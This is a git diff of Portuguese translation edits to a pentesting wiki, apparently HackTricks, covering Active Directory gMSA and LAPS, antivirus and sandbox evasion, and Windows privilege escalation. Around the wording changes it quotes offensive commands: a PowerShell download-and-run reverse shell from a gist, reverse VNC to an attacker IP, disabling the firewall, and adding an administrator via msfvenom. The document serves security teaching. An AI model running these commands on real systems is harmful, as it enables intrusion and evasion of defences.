- **Segurança Aprimorada**: Essas contas são imunes a bloqueios e não podem ser usadas para logins interativos, aumentando sua segurança.
|
||||
- **Suporte a Múltiplos Hosts**: gMSAs podem ser compartilhados entre vários hosts, tornando-os ideais para serviços que rodam em vários servidores.
|
||||
- **Suporte a Múltiplos Hosts**: gMSAs podem ser compartilhadas entre vários hosts, tornando-as ideais para serviços que rodam em vários servidores.
|
||||
- **Capacidade de Tarefas Agendadas**: Ao contrário das contas de serviço gerenciadas, gMSAs suportam a execução de tarefas agendadas.
|
||||
- **Gerenciamento Simplificado de SPN**: O sistema atualiza automaticamente o Nome Principal de Serviço (SPN) quando há alterações nos detalhes de sAMaccount do computador ou no nome DNS, simplificando o gerenciamento de SPN.
|
||||
- **Gerenciamento Simplificado de SPN**: O sistema atualiza automaticamente o Nome Principal de Serviço (SPN) quando há alterações nos detalhes do sAMaccount do computador ou no nome DNS, simplificando o gerenciamento de SPN.
|
||||
|
||||
As senhas para gMSAs são armazenadas na propriedade LDAP _**msDS-ManagedPassword**_ e são redefinidas automaticamente a cada 30 dias pelos Controladores de Domínio (DCs). Esta senha, um blob de dados criptografados conhecido como [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), só pode ser recuperada por administradores autorizados e pelos servidores nos quais os gMSAs estão instalados, garantindo um ambiente seguro. Para acessar essas informações, é necessária uma conexão segura, como LDAPS, ou a conexão deve ser autenticada com 'Sealing & Secure'.
|
||||
As senhas para gMSAs são armazenadas na propriedade LDAP _**msDS-ManagedPassword**_ e são redefinidas automaticamente a cada 30 dias pelos Controladores de Domínio (DCs). Esta senha, um blob de dados criptografados conhecido como [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), só pode ser recuperada por administradores autorizados e pelos servidores nos quais as gMSAs estão instaladas, garantindo um ambiente seguro. Para acessar essas informações, é necessária uma conexão segura, como LDAPS, ou a conexão deve ser autenticada com 'Sealing & Secure'.
|
||||
|
||||
|
||||
|
||||
@ -160,7 +162,7 @@ Além disso, verifique esta [página da web](https://cube0x0.github.io/Relaying-
|
||||
|
||||
## LAPS
|
||||
|
||||
A **Solução de Senha do Administrador Local (LAPS)**, disponível para download na [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permite a gestão de senhas de Administrador local. Essas senhas, que são **aleatórias**, únicas e **trocadas regularmente**, são armazenadas centralmente no Active Directory. O acesso a essas senhas é restrito por meio de ACLs a usuários autorizados. Com permissões suficientes concedidas, a capacidade de ler senhas de administrador local é fornecida.
|
||||
A **Solução de Senha do Administrador Local (LAPS)**, disponível para download no [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permite a gestão de senhas de Administrador local. Essas senhas, que são **aleatórias**, únicas e **regularmente alteradas**, são armazenadas centralmente no Active Directory. O acesso a essas senhas é restrito por meio de ACLs a usuários autorizados. Com permissões suficientes concedidas, a capacidade de ler senhas de administrador local é fornecida.
|
||||
|
||||
{{#ref}}
|
||||
../active-directory-methodology/laps.md
|
||||
@ -233,7 +235,7 @@ O SSPI será responsável por encontrar o protocolo adequado para duas máquinas
|
||||
- %windir%\Windows\System32\Wdigest.dll
|
||||
- **Schannel**: SSL e TLS
|
||||
- %windir%\Windows\System32\Schannel.dll
|
||||
- **Negotiate**: É usado para negociar o protocolo a ser utilizado (Kerberos ou NTLM, sendo Kerberos o padrão)
|
||||
- **Negotiate**: É usado para negociar o protocolo a ser usado (Kerberos ou NTLM, sendo Kerberos o padrão)
|
||||
- %windir%\Windows\System32\lsasrv.dll
|
||||
|
||||
#### A negociação pode oferecer vários métodos ou apenas um.
|
||||
|
||||
@ -34,14 +34,14 @@ Recomendo fortemente que você confira esta [playlist do YouTube](https://www.yo
|
||||
A análise dinâmica é quando o AV executa seu binário em um sandbox e observa atividades maliciosas (por exemplo, tentando descriptografar e ler as senhas do seu navegador, realizando um minidump no LSASS, etc.). Esta parte pode ser um pouco mais complicada de trabalhar, mas aqui estão algumas coisas que você pode fazer para evadir sandboxes.
|
||||
|
||||
- **Dormir antes da execução** Dependendo de como é implementado, pode ser uma ótima maneira de contornar a análise dinâmica do AV. Os AVs têm um tempo muito curto para escanear arquivos para não interromper o fluxo de trabalho do usuário, então usar longas pausas pode perturbar a análise de binários. O problema é que muitos sandboxes de AV podem simplesmente ignorar a pausa, dependendo de como é implementado.
|
||||
- **Verificando os recursos da máquina** Normalmente, os Sandboxes têm muito poucos recursos para trabalhar (por exemplo, < 2GB de RAM), caso contrário, poderiam desacelerar a máquina do usuário. Você também pode ser muito criativo aqui, por exemplo, verificando a temperatura da CPU ou até mesmo as velocidades do ventilador, nem tudo será implementado no sandbox.
|
||||
- **Verificando os recursos da máquina** Normalmente, os Sandboxes têm muito poucos recursos para trabalhar (por exemplo, < 2GB de RAM), caso contrário, poderiam desacelerar a máquina do usuário. Você também pode ser muito criativo aqui, por exemplo, verificando a temperatura da CPU ou até mesmo as velocidades dos ventiladores, nem tudo será implementado no sandbox.
|
||||
- **Verificações específicas da máquina** Se você quiser direcionar um usuário cuja estação de trabalho está unida ao domínio "contoso.local", você pode fazer uma verificação no domínio do computador para ver se corresponde ao que você especificou, se não corresponder, você pode fazer seu programa sair.
|
||||
|
||||
Acontece que o nome do computador do Sandbox do Microsoft Defender é HAL9TH, então, você pode verificar o nome do computador no seu malware antes da detonação, se o nome corresponder a HAL9TH, significa que você está dentro do sandbox do Defender, então você pode fazer seu programa sair.
|
||||
Acontece que o nome do computador do Sandbox do Microsoft Defender é HAL9TH, então, você pode verificar o nome do computador no seu malware antes da detonação, se o nome corresponder a HAL9TH, significa que você está dentro do sandbox do defender, então você pode fazer seu programa sair.
|
||||
|
||||
<figure><img src="../images/image (209).png" alt=""><figcaption><p>fonte: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
Algumas outras dicas realmente boas de [@mgeeky](https://twitter.com/mariuszbit) para ir contra Sandboxes
|
||||
Algumas outras dicas muito boas de [@mgeeky](https://twitter.com/mariuszbit) para ir contra Sandboxes
|
||||
|
||||
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> canal #malware-dev</p></figcaption></figure>
|
||||
|
||||
@ -52,7 +52,7 @@ Por exemplo, se você quiser despejar o LSASS, **você realmente precisa usar mi
|
||||
A resposta certa é provavelmente a última. Tomando o mimikatz como exemplo, é provavelmente uma das, se não a mais sinalizada peça de malware pelos AVs e EDRs, enquanto o projeto em si é super legal, também é um pesadelo trabalhar com ele para contornar os AVs, então apenas procure alternativas para o que você está tentando alcançar.
|
||||
|
||||
> [!NOTE]
|
||||
> Ao modificar seus payloads para evasão, certifique-se de **desativar a submissão automática de amostras** no Defender, e por favor, sério, **NÃO CARREGUE NO VIRUSTOTAL** se seu objetivo é alcançar a evasão a longo prazo. Se você quiser verificar se seu payload é detectado por um AV específico, instale-o em uma VM, tente desativar a submissão automática de amostras e teste lá até ficar satisfeito com o resultado.
|
||||
> Ao modificar seus payloads para evasão, certifique-se de **desativar a submissão automática de amostras** no defender, e por favor, sério, **NÃO CARREGUE NO VIRUSTOTAL** se seu objetivo é alcançar a evasão a longo prazo. Se você quiser verificar se seu payload é detectado por um AV específico, instale-o em uma VM, tente desativar a submissão automática de amostras e teste lá até que você esteja satisfeito com o resultado.
|
||||
|
||||
## EXEs vs DLLs
|
||||
|
||||
@ -125,7 +125,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
||||
|
||||
## AMSI (Interface de Varredura Anti-Malware)
|
||||
|
||||
AMSI foi criado para prevenir "[malware sem arquivo](https://en.wikipedia.org/wiki/Fileless_malware)". Inicialmente, os antivírus eram capazes de escanear **arquivos no disco**, então, se você conseguisse executar payloads **diretamente na memória**, o antivírus não poderia fazer nada para impedir, pois não tinha visibilidade suficiente.
|
||||
AMSI foi criado para prevenir "[malware sem arquivo](https://en.wikipedia.org/wiki/Fileless_malware)". Inicialmente, os AVs eram capazes de escanear **arquivos no disco**, então, se você conseguisse executar payloads **diretamente na memória**, o AV não poderia fazer nada para impedir, pois não tinha visibilidade suficiente.
|
||||
|
||||
O recurso AMSI está integrado nesses componentes do Windows.
|
||||
|
||||
@ -203,8 +203,8 @@ Existem várias ferramentas que podem ser usadas para **ofuscar código C# em te
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz é um ofuscador de binários x64 que é capaz de ofuscar vários arquivos pe diferentes, incluindo: .exe, .dll, .sys
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame é um simples motor de código metamórfico para executáveis arbitrários.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator é um framework de ofuscação de código de grão fino para linguagens suportadas pelo LLVM usando ROP (programação orientada a retorno). ROPfuscator ofusca um programa no nível de código de montagem transformando instruções regulares em cadeias ROP, frustrando nossa concepção natural de fluxo de controle normal.
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt é um Crypter PE .NET escrito em Nim
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor é capaz de converter EXE/DLL existentes em shellcode e, em seguida, carregá-los
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt é um Crypter PE .NET escrito em Nim.
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor é capaz de converter EXE/DLL existentes em shellcode e, em seguida, carregá-los.
|
||||
|
||||
## SmartScreen & MoTW
|
||||
|
||||
@ -265,13 +265,13 @@ A maioria das estruturas C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc,
|
||||
|
||||
- **Fork\&Run**
|
||||
|
||||
Isso envolve **gerar um novo processo sacrificial**, injetar seu código malicioso de pós-exploração nesse novo processo, executar seu código malicioso e, quando terminar, matar o novo processo. Isso tem seus benefícios e desvantagens. O benefício do método fork and run é que a execução ocorre **fora** do nosso processo de implante Beacon. Isso significa que se algo em nossa ação de pós-exploração der errado ou for pego, há uma **chance muito maior** de nosso **implante sobreviver.** A desvantagem é que você tem uma **maior chance** de ser pego por **Detecções Comportamentais**.
|
||||
Isso envolve **gerar um novo processo sacrificial**, injetar seu código malicioso de pós-exploração nesse novo processo, executar seu código malicioso e, quando terminar, matar o novo processo. Isso tem seus benefícios e desvantagens. O benefício do método fork and run é que a execução ocorre **fora** do nosso processo de implante Beacon. Isso significa que, se algo em nossa ação de pós-exploração der errado ou for pego, há uma **chance muito maior** de nosso **implante sobreviver.** A desvantagem é que você tem uma **maior chance** de ser pego por **Detecções Comportamentais**.
|
||||
|
||||
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Inline**
|
||||
|
||||
Trata-se de injetar o código malicioso de pós-exploração **no seu próprio processo**. Dessa forma, você pode evitar ter que criar um novo processo e fazê-lo ser escaneado pelo AV, mas a desvantagem é que se algo der errado com a execução da sua carga útil, há uma **chance muito maior** de **perder seu beacon**, pois ele pode travar.
|
||||
Trata-se de injetar o código malicioso de pós-exploração **em seu próprio processo**. Dessa forma, você pode evitar ter que criar um novo processo e fazê-lo ser escaneado pelo AV, mas a desvantagem é que, se algo der errado com a execução de sua carga útil, há uma **chance muito maior** de **perder seu beacon**, pois ele pode travar.
|
||||
|
||||
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -292,15 +292,19 @@ O repositório indica: O Defender ainda escaneia os scripts, mas ao utilizar Go,
|
||||
|
||||
A evasão é um tópico muito complicado, às vezes você tem que levar em conta muitas fontes diferentes de telemetria em apenas um sistema, então é praticamente impossível permanecer completamente indetectável em ambientes maduros.
|
||||
|
||||
Cada ambiente que você enfrenta terá seus próprios pontos fortes e fracos.
|
||||
Cada ambiente contra o qual você se opõe terá seus próprios pontos fortes e fracos.
|
||||
|
||||
Eu recomendo fortemente que você assista a esta palestra de [@ATTL4S](https://twitter.com/DaniLJ94), para ter uma base em técnicas de Evasão Avançada.
|
||||
|
||||
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
|
||||
{{#ref}}
|
||||
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
|
||||
{{#endref}}
|
||||
|
||||
Esta também é outra ótima palestra de [@mariuszbit](https://twitter.com/mariuszbit) sobre Evasão em Profundidade.
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
{{#endref}}
|
||||
|
||||
## **Técnicas Antigas**
|
||||
|
||||
@ -319,14 +323,14 @@ Faça com que **inicie** quando o sistema for iniciado e **execute** agora:
|
||||
```bash
|
||||
sc config TlntSVR start= auto obj= localsystem
|
||||
```
|
||||
**Mudar a porta telnet** (furtivo) e desativar o firewall:
|
||||
**Mudar a porta telnet** (stealth) e desativar o firewall:
|
||||
```
|
||||
tlntadmn config port=80
|
||||
netsh advfirewall set allprofiles state off
|
||||
```
|
||||
### UltraVNC
|
||||
|
||||
Baixe-o de: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (você quer os downloads binários, não a instalação)
|
||||
Baixe-o de: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (você quer os downloads bin, não a instalação)
|
||||
|
||||
**NO HOST**: Execute _**winvnc.exe**_ e configure o servidor:
|
||||
|
||||
@ -334,11 +338,11 @@ Baixe-o de: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/do
|
||||
- Defina uma senha em _VNC Password_
|
||||
- Defina uma senha em _View-Only Password_
|
||||
|
||||
Em seguida, mova o binário _**winvnc.exe**_ e o arquivo **recém** criado _**UltraVNC.ini**_ para dentro da **vítima**
|
||||
Em seguida, mova o binário _**winvnc.exe**_ e o arquivo **recém** criado _**UltraVNC.ini**_ dentro da **vítima**
|
||||
|
||||
#### **Conexão reversa**
|
||||
|
||||
O **atacante** deve **executar dentro** de seu **host** o binário `vncviewer.exe -listen 5900` para que ele esteja **preparado** para capturar uma **conexão VNC** reversa. Então, dentro da **vítima**: Inicie o daemon winvnc `winvnc.exe -run` e execute `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||
O **atacante** deve **executar dentro** de seu **host** o binário `vncviewer.exe -listen 5900` para que esteja **preparado** para capturar uma **conexão VNC** reversa. Então, dentro da **vítima**: Inicie o daemon winvnc `winvnc.exe -run` e execute `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||
|
||||
**AVISO:** Para manter a furtividade, você não deve fazer algumas coisas
|
||||
|
||||
@ -370,13 +374,13 @@ Agora **inicie o lister** com `msfconsole -r file.rc` e **execute** o **payload
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
|
||||
```
|
||||
**O defensor atual encerrará o processo muito rapidamente.**
|
||||
**O defensor atual irá terminar o processo muito rapidamente.**
|
||||
|
||||
### Compilando nosso próprio reverse shell
|
||||
|
||||
https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
|
||||
|
||||
#### Primeiro C# Revershell
|
||||
#### Primeiro Revershell em C#
|
||||
|
||||
Compile-o com:
|
||||
```
|
||||
@ -475,7 +479,9 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
|
||||
32bit:
|
||||
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
|
||||
```
|
||||
{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}
|
||||
{{#ref}}
|
||||
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
|
||||
{{#endref}}
|
||||
|
||||
Lista de ofuscadores C#: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
|
||||
|
||||
@ -492,7 +498,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
|
||||
- [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
|
||||
- [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
|
||||
|
||||
### Usando python para exemplo de construtores de injetores:
|
||||
### Usando python para construir exemplos de injetores:
|
||||
|
||||
- [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
|
||||
|
||||
@ -525,5 +531,4 @@ https://github.com/praetorian-code/vulcan
|
||||
|
||||
- [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -114,14 +114,14 @@ Stop-Transcript
|
||||
|
||||
Detalhes das execuções do pipeline PowerShell são registrados, abrangendo comandos executados, invocações de comandos e partes de scripts. No entanto, detalhes completos da execução e resultados de saída podem não ser capturados.
|
||||
|
||||
Para habilitar isso, siga as instruções na seção "Arquivos de Transcrição" da documentação, optando por **"Registro de Módulo"** em vez de **"Transcrição do PowerShell"**.
|
||||
Para habilitar isso, siga as instruções na seção "Arquivos de Transcrição" da documentação, optando por **"Registro de Módulo"** em vez de **"Transcrição do Powershell"**.
|
||||
```bash
|
||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
||||
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
||||
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
||||
```
|
||||
Para visualizar os últimos 15 eventos dos logs do PowersShell, você pode executar:
|
||||
Para ver os últimos 15 eventos dos logs do PowersShell, você pode executar:
|
||||
```bash
|
||||
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
|
||||
```
|
||||
@ -165,7 +165,7 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
|
||||
```
|
||||
E se `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` for igual a `1`.
|
||||
|
||||
Então, **é explorável.** Se o último registro for igual a 0, então, a entrada do WSUS será ignorada.
|
||||
Então, **é explorável.** Se o último registro for igual a 0, a entrada do WSUS será ignorada.
|
||||
|
||||
Para explorar essas vulnerabilidades, você pode usar ferramentas como: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Esses são scripts de exploits armados MiTM para injetar atualizações 'falsas' no tráfego WSUS não SSL.
|
||||
|
||||
@ -178,7 +178,7 @@ Leia a pesquisa aqui:
|
||||
[**Leia o relatório completo aqui**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
|
||||
Basicamente, esta é a falha que esse bug explora:
|
||||
|
||||
> Se temos o poder de modificar nosso proxy de usuário local, e as Atualizações do Windows usam o proxy configurado nas configurações do Internet Explorer, portanto, temos o poder de executar [PyWSUS](https://github.com/GoSecure/pywsus) localmente para interceptar nosso próprio tráfego e executar código como um usuário elevado em nosso ativo.
|
||||
> Se tivermos o poder de modificar nosso proxy de usuário local, e as Atualizações do Windows usam o proxy configurado nas configurações do Internet Explorer, portanto, temos o poder de executar [PyWSUS](https://github.com/GoSecure/pywsus) localmente para interceptar nosso próprio tráfego e executar código como um usuário elevado em nosso ativo.
|
||||
>
|
||||
> Além disso, uma vez que o serviço WSUS usa as configurações do usuário atual, ele também usará seu armazenamento de certificados. Se gerarmos um certificado autoassinado para o nome do host WSUS e adicionarmos esse certificado ao armazenamento de certificados do usuário atual, seremos capazes de interceptar tanto o tráfego WSUS HTTP quanto HTTPS. O WSUS não usa mecanismos semelhantes ao HSTS para implementar uma validação de confiança na primeira utilização no certificado. Se o certificado apresentado for confiável pelo usuário e tiver o nome do host correto, será aceito pelo serviço.
|
||||
|
||||
@ -186,11 +186,11 @@ Você pode explorar essa vulnerabilidade usando a ferramenta [**WSUSpicious**](h
|
||||
|
||||
## KrbRelayUp
|
||||
|
||||
Uma vulnerabilidade de **elevação de privilégio local** existe em ambientes **de domínio** do Windows sob condições específicas. Essas condições incluem ambientes onde **a assinatura LDAP não é aplicada,** os usuários possuem direitos próprios que lhes permitem configurar **Delegação Constrangida Baseada em Recursos (RBCD),** e a capacidade de os usuários criarem computadores dentro do domínio. É importante notar que esses **requisitos** são atendidos usando **configurações padrão**.
|
||||
Uma vulnerabilidade de **elevação de privilégio local** existe em ambientes **de domínio** do Windows sob condições específicas. Essas condições incluem ambientes onde **a assinatura LDAP não é aplicada,** os usuários possuem direitos próprios que lhes permitem configurar **Delegação Constrangida Baseada em Recurso (RBCD),** e a capacidade de os usuários criarem computadores dentro do domínio. É importante notar que esses **requisitos** são atendidos usando **configurações padrão**.
|
||||
|
||||
Encontre o **exploit em** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
|
||||
|
||||
Para mais informações sobre o fluxo do ataque, verifique [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/)
|
||||
Para mais informações sobre o fluxo do ataque, consulte [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/)
|
||||
|
||||
## AlwaysInstallElevated
|
||||
|
||||
@ -245,7 +245,7 @@ create-msi-with-wix.md
|
||||
|
||||
### Instalação do MSI
|
||||
|
||||
Para executar a **instalação** do arquivo `.msi` malicioso em **background:**
|
||||
Para executar a **instalação** do arquivo malicioso `.msi` em **background:**
|
||||
```
|
||||
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
|
||||
```
|
||||
@ -282,7 +282,7 @@ reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v U
|
||||
```
|
||||
### Proteção LSA
|
||||
|
||||
A partir do **Windows 8.1**, a Microsoft introduziu uma proteção aprimorada para a Autoridade de Segurança Local (LSA) para **bloquear** tentativas de processos não confiáveis de **ler sua memória** ou injetar código, aumentando a segurança do sistema.\
|
||||
A partir do **Windows 8.1**, a Microsoft introduziu uma proteção aprimorada para a Autoridade de Segurança Local (LSA) para **bloquear** tentativas de processos não confiáveis de **ler sua memória** ou injetar código, aumentando ainda mais a segurança do sistema.\
|
||||
[**Mais informações sobre a Proteção LSA aqui**](../stealing-credentials/credentials-protections.md#lsa-protection).
|
||||
```bash
|
||||
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
|
||||
@ -304,7 +304,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
|
||||
|
||||
### Enumerar Usuários e Grupos
|
||||
|
||||
Você deve verificar se algum dos grupos aos quais pertence possui permissões interessantes.
|
||||
Você deve verificar se algum dos grupos aos quais você pertence possui permissões interessantes.
|
||||
```bash
|
||||
# CMD
|
||||
net users %username% #Me
|
||||
@ -399,7 +399,7 @@ procdump.exe -accepteula -ma <proc_name_tasklist>
|
||||
|
||||
**Aplicativos executando como SYSTEM podem permitir que um usuário inicie um CMD ou navegue por diretórios.**
|
||||
|
||||
Exemplo: "Ajuda e Suporte do Windows" (Windows + F1), procure por "prompt de comando", clique em "Clique para abrir o Prompt de Comando"
|
||||
Exemplo: "Ajuda e Suporte do Windows" (Windows + F1), pesquise por "prompt de comando", clique em "Clique para abrir o Prompt de Comando"
|
||||
|
||||
## Serviços
|
||||
|
||||
@ -416,11 +416,11 @@ Você pode usar **sc** para obter informações de um serviço
|
||||
```bash
|
||||
sc qc <service_name>
|
||||
```
|
||||
Recomenda-se ter o binário **accesschk** do _Sysinternals_ para verificar o nível de privilégio necessário para cada serviço.
|
||||
É recomendável ter o binário **accesschk** do _Sysinternals_ para verificar o nível de privilégio necessário para cada serviço.
|
||||
```bash
|
||||
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
|
||||
```
|
||||
Recomenda-se verificar se "Usuários Autenticados" podem modificar algum serviço:
|
||||
É recomendável verificar se "Usuários Autenticados" podem modificar algum serviço:
|
||||
```bash
|
||||
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
|
||||
accesschk.exe -uwcqv %USERNAME% * /accepteula
|
||||
@ -433,7 +433,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
|
||||
|
||||
Se você estiver recebendo este erro (por exemplo, com SSDPSRV):
|
||||
|
||||
_Erro de sistema 1058 ocorreu._\
|
||||
_Erro do sistema 1058 ocorreu._\
|
||||
&#xNAN;_TO serviço não pode ser iniciado, seja porque está desativado ou porque não possui dispositivos habilitados associados a ele._
|
||||
|
||||
Você pode habilitá-lo usando
|
||||
@ -549,7 +549,7 @@ msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f ex
|
||||
```
|
||||
### Ações de Recuperação
|
||||
|
||||
O Windows permite que os usuários especifiquem ações a serem tomadas se um serviço falhar. Esse recurso pode ser configurado para apontar para um binário. Se esse binário for substituível, a escalada de privilégios pode ser possível. Mais detalhes podem ser encontrados na [documentação oficial](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
|
||||
O Windows permite que os usuários especifiquem ações a serem tomadas se um serviço falhar. Este recurso pode ser configurado para apontar para um binário. Se este binário for substituível, a escalada de privilégios pode ser possível. Mais detalhes podem ser encontrados na [documentação oficial](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
|
||||
|
||||
## Aplicações
|
||||
|
||||
@ -610,7 +610,7 @@ driverquery /SI
|
||||
```
|
||||
## PATH DLL Hijacking
|
||||
|
||||
Se você tiver **permissões de escrita dentro de uma pasta presente no PATH**, poderá sequestrar uma DLL carregada por um processo e **escalar privilégios**.
|
||||
Se você tiver **permissões de escrita dentro de uma pasta presente no PATH**, poderá ser capaz de sequestrar uma DLL carregada por um processo e **escalar privilégios**.
|
||||
|
||||
Verifique as permissões de todas as pastas dentro do PATH:
|
||||
```bash
|
||||
@ -705,7 +705,7 @@ O Cofre do Windows armazena credenciais de usuário para servidores, sites e out
|
||||
|
||||
O Cofre do Windows armazena credenciais que o Windows pode usar para fazer login nos usuários automaticamente, o que significa que qualquer **aplicativo do Windows que precise de credenciais para acessar um recurso** (servidor ou site) **pode fazer uso deste Gerenciador de Credenciais** e do Cofre do Windows e usar as credenciais fornecidas em vez de os usuários digitarem o nome de usuário e a senha o tempo todo.
|
||||
|
||||
A menos que os aplicativos interajam com o Gerenciador de Credenciais, não acho que seja possível para eles usarem as credenciais para um determinado recurso. Portanto, se seu aplicativo quiser fazer uso do cofre, ele deve de alguma forma **comunicar-se com o gerenciador de credenciais e solicitar as credenciais para esse recurso** do cofre de armazenamento padrão.
|
||||
A menos que os aplicativos interajam com o Gerenciador de Credenciais, não acho que seja possível para eles usarem as credenciais para um determinado recurso. Portanto, se seu aplicativo quiser fazer uso do cofre, ele deve de alguma forma **se comunicar com o gerenciador de credenciais e solicitar as credenciais para esse recurso** do cofre de armazenamento padrão.
|
||||
|
||||
Use o `cmdkey` para listar as credenciais armazenadas na máquina.
|
||||
```bash
|
||||
@ -731,7 +731,7 @@ A **Data Protection API (DPAPI)** fornece um método para criptografia simétric
|
||||
|
||||
**A DPAPI permite a criptografia de chaves através de uma chave simétrica que é derivada dos segredos de login do usuário**. Em cenários que envolvem criptografia de sistema, utiliza os segredos de autenticação de domínio do sistema.
|
||||
|
||||
As chaves RSA do usuário criptografadas, usando a DPAPI, são armazenadas no diretório `%APPDATA%\Microsoft\Protect\{SID}`, onde `{SID}` representa o [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) do usuário. **A chave DPAPI, co-localizada com a chave mestra que protege as chaves privadas do usuário no mesmo arquivo**, geralmente consiste em 64 bytes de dados aleatórios. (É importante notar que o acesso a este diretório é restrito, impedindo a listagem de seu conteúdo via o comando `dir` no CMD, embora possa ser listado através do PowerShell).
|
||||
